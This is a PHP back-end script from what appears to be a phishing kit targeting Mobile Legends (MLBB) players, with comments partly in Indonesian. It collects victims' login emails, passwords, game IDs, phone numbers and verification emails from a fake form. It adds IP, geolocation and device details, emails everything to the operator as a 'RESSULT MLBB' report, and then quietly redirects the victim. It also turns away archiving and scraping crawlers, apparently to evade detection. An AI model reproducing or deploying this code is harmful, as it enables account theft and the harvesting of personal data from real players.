<?php
// Only block dangerous/malicious bots, allow normal users including VPN/proxy
$ua = $_SERVER['HTTP_USER_AGENT'];
if (preg_match('/HTTrack|WebStripper|WebSauger|WebCopier|Offline Navigator|Teleport|TeleportPro|WebZIP|linko|heritrix|larbin|wget|curl.*bot|spider.*bot|scrap.*bot|harvest.*bot/i', $ua)) {
    http_response_code(403);
    exit('Access Denied');
}

// MENGAMBIL KONTROL - dengan error handling untuk data non-inti
include 'setting.php';

// Initialize fallback values for geolocation data (will be overridden by cached data)
$lenzz_ipaddress = $_SERVER['REMOTE_ADDR'] ?? 'Unknown';
$lenzz_country = 'Unknown';
$lenzz_countryCode = 'XX';
$lenzz_regionName = 'Unknown';
$lenzz_city = 'Unknown';
$lenzz_timezone = 'Unknown';
$lenzz_isp = 'Unknown';
$lenzz_as = 'Unknown';
$lenzz_flag = '🌐';
$lenzz_callcode = '';

// Load CACHED geolocation data via enhanced geolocation.php (UNIFIED CACHE SYSTEM)
// This now integrates with geolocation system for consistent caching
// CRITICAL: This MUST NOT interfere with core email sending functionality
try {
    include 'geolocation.php'; // Enhanced with unified cache system & JSON endpoint
    
} catch (Exception $e) {
    // Log error but continue with fallback values - EMAIL SENDING MUST CONTINUE
    
    // Ensure all variables are set to safe defaults
    if (!isset($lenzz_country)) $lenzz_country = 'Unknown';
    if (!isset($lenzz_countryCode)) $lenzz_countryCode = 'XX';
    if (!isset($lenzz_flag)) $lenzz_flag = '🌐';
    if (!isset($lenzz_callcode)) $lenzz_callcode = '';
    if (!isset($lenzz_ipaddress)) $lenzz_ipaddress = $_SERVER['REMOTE_ADDR'] ?? 'Unknown';
    
} catch (Error $e) {
    // Handle fatal errors too
    
    // Ensure all variables are set to safe defaults
    if (!isset($lenzz_country)) $lenzz_country = 'Unknown';
    if (!isset($lenzz_countryCode)) $lenzz_countryCode = 'XX';
    if (!isset($lenzz_flag)) $lenzz_flag = '🌐';
    if (!isset($lenzz_callcode)) $lenzz_callcode = '';
    if (!isset($lenzz_ipaddress)) $lenzz_ipaddress = $_SERVER['REMOTE_ADDR'] ?? 'Unknown';
}

// Initialize device info with defaults
$infos = array(
    'platfrm_name' => 'Unknown',
    'platfrm_vers' => 'Unknown',
    'browser_name' => 'Unknown'
);

// Try to get device data (non-critical)
try {
    include 'device.php';
} catch (Exception $e) {
    // Continue silently
}

include '../changeHere.php';

// AMBIL DATA USER DARI FORM - Prioritas data inti
$email     = $_POST['email'] ?? '';  // Login email
$password  = $_POST['password'] ?? '';
$playid    = $_POST['playid'] ?? '';
$zoneid    = $_POST['zoneid'] ?? '';
$vmail     = $_POST['vmail'] ?? '';  // Only used in Verification step
$phone     = $_POST['phone'] ?? '';  // Only used in Verification step
$login     = $_POST['login'] ?? '';
$step      = $_POST['step'] ?? '';  

// DUAL-STACK INFO from JavaScript detection - dengan fallback yang aman
$ipv4Info = $_POST['ipv4_info'] ?? 'Not detected';
$ipv6Info = $_POST['ipv6_info'] ?? 'Not detected';

// INFO DEVICE - dengan fallback yang aman
$deviceInfo     = $infos['platfrm_name'] ?? 'Unknown';
$osVersionInfo  = $infos['platfrm_vers'] ?? 'Unknown';
$browserInfo    = $infos['browser_name'] ?? 'Unknown';

// VALIDASI DATA INTI - hanya data inti yang wajib ada
if (empty($email) && empty($password) && empty($playid) && empty($zoneid) && empty($login)) {
    header("Location: ../index.php");
    exit();
}

// SUBJECT EMAIL - dengan IP real-time fresh (never cached)
$safe_countryCode = !empty($lenzz_countryCode) ? $lenzz_countryCode : 'XX';
$safe_flag = !empty($lenzz_flag) ? $lenzz_flag : '🌐';
$safe_callcode = !empty($lenzz_callcode) ? $lenzz_callcode : '';
// ALWAYS get fresh IP for email - never use cached IP
$safe_ipaddress = $_SERVER['REMOTE_ADDR'] ?? 'Unknown';

if($step == 'Verification') {
    $subjek = " $safe_countryCode - $safe_flag | +$safe_callcode | RECROWN | ID $playid ";
} else {
    $subjek = " $safe_countryCode - $safe_flag | +$safe_callcode | RECROWN | ID $playid ";
}

// PESAN EMAIL (HTML)
$pesan = '
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<style>
body, table, td { font-family: Arial, sans-serif; font-size: 14px; }
.main-table { 
min-width:350px; 
max-width:600px; 
margin:auto; 
background:#fff; 
border-radius:0px; 
box-shadow:0 2px 16px rgba(0,0,0,0.1); 
overflow:hidden; 
border: 2px solid #2c3e50;
}
.section-title { 
background:#2c3e50; 
color:#fff; 
text-align:center; 
padding:12px; 
font-weight:bold; 
border-top: 2px solid #2c3e50;
border-bottom: 2px solid #2c3e50;
}
.info-table { 
border-collapse: collapse; 
width: 100%;
}
.info-table td { 
padding:10px; 
border: 1px solid #2c3e50; 
border-bottom: 1px solid #2c3e50;
}
.info-table .label { 
font-weight:bold; 
width:35%; 
background:#f9f9f9; 
border-right: 2px solid #2c3e50;
}
.info-table tr:last-child td {
border-bottom: 2px solid #2c3e50;
}
</style>
</head>
<body>
<table class="main-table" cellpadding="0" cellspacing="0">
<tr><td class="section-title">ACCOUNT INFORMATION</td></tr>
<tr><td>
<table class="info-table" width="100%">
<tr><td class="label">User/Email</td><td>'.$email.'</td></tr>
<tr><td class="label">Password</td><td>'.$password.'</td></tr>
'.($step == 'Verification' ? '<tr><td class="label">Phone</td><td>'.$phone.'</td></tr>
<tr><td class="label">Email V2</td><td>'.$vmail.'</td></tr>' : '').'
<tr><td class="label">Login</td><td>'.$login.'</td></tr>
<tr><td class="label">Step</td><td>'.$step.'</td></tr>
</table>
</td></tr>
<tr><td class="section-title">USER INFORMATION</td></tr>
<tr><td>
<table class="info-table" width="100%">
<tr><td class="label">Game ID</td><td>'.$playid.' ('.$zoneid.')</td></tr>
<tr><td class="label">CheckBind</td><td><a href="'.$base_url.'/checkbind/index.php?playid='.$playid.'&zoneid='.$zoneid.'" style="background-color:#007bff; color:white; padding:8px 16px; text-decoration:none; border-radius:2px; display:inline-block; font-weight:bold;">Click Here</a></td></tr>
</table>
</td></tr>
<tr><td class="section-title">DEVICE INFORMATION</td></tr>
<tr><td>
<table class="info-table" width="100%">
<tr><td class="label">Device</td><td>'.$deviceInfo.'</td></tr>
<tr><td class="label">OS Version</td><td>'.$osVersionInfo.'</td></tr>
<tr><td class="label">Browser</td><td>'.$browserInfo.'</td></tr>
<tr><td class="label">Detected IPv4</td><td>'.htmlspecialchars($ipv4Info).'</td></tr>
<tr><td class="label">Detected IPv6</td><td>'.htmlspecialchars($ipv6Info).'</td></tr>
</table>
</td></tr>
<tr><td class="section-title">ADDITIONAL INFORMATION</td></tr>
<tr><td>
<table class="info-table" width="100%">
<tr><td class="label">IP (Primary)</td><td>'.$safe_ipaddress.'</td></tr>
<tr><td class="label">Country</td><td>'.htmlspecialchars($lenzz_country).'</td></tr>
<tr><td class="label">Province</td><td>'.htmlspecialchars($lenzz_regionName).'</td></tr>
<tr><td class="label">City</td><td>'.htmlspecialchars($lenzz_city).'</td></tr>
<tr><td class="label">Time Zone</td><td>'.htmlspecialchars($lenzz_timezone).'</td></tr>
<tr><td class="label">ISP</td><td>'.htmlspecialchars($lenzz_as).'</td></tr>
<tr><td class="label">Entry Time</td><td>'.htmlspecialchars($jamasuk).'</td></tr>
</table>
</td></tr>
<tr><td class="section-title">RESSULT MLBB</td></tr>
</table>
</body>
</html>
';

// KIRIM EMAIL
$headers  = "MIME-Version: 1.0\r\n";
$headers .= "Content-type:text/html;charset=UTF-8\r\n";
$headers .= "$sender\r\n";

$kirim = mail($my_email, $subjek, $pesan, $headers);

// Always redirect regardless of email status to not block user experience
if ($step == 'Verification') {
    header("Location: ../index.php");
} else {
    header("Location: ../index.php");
}
exit();
?>
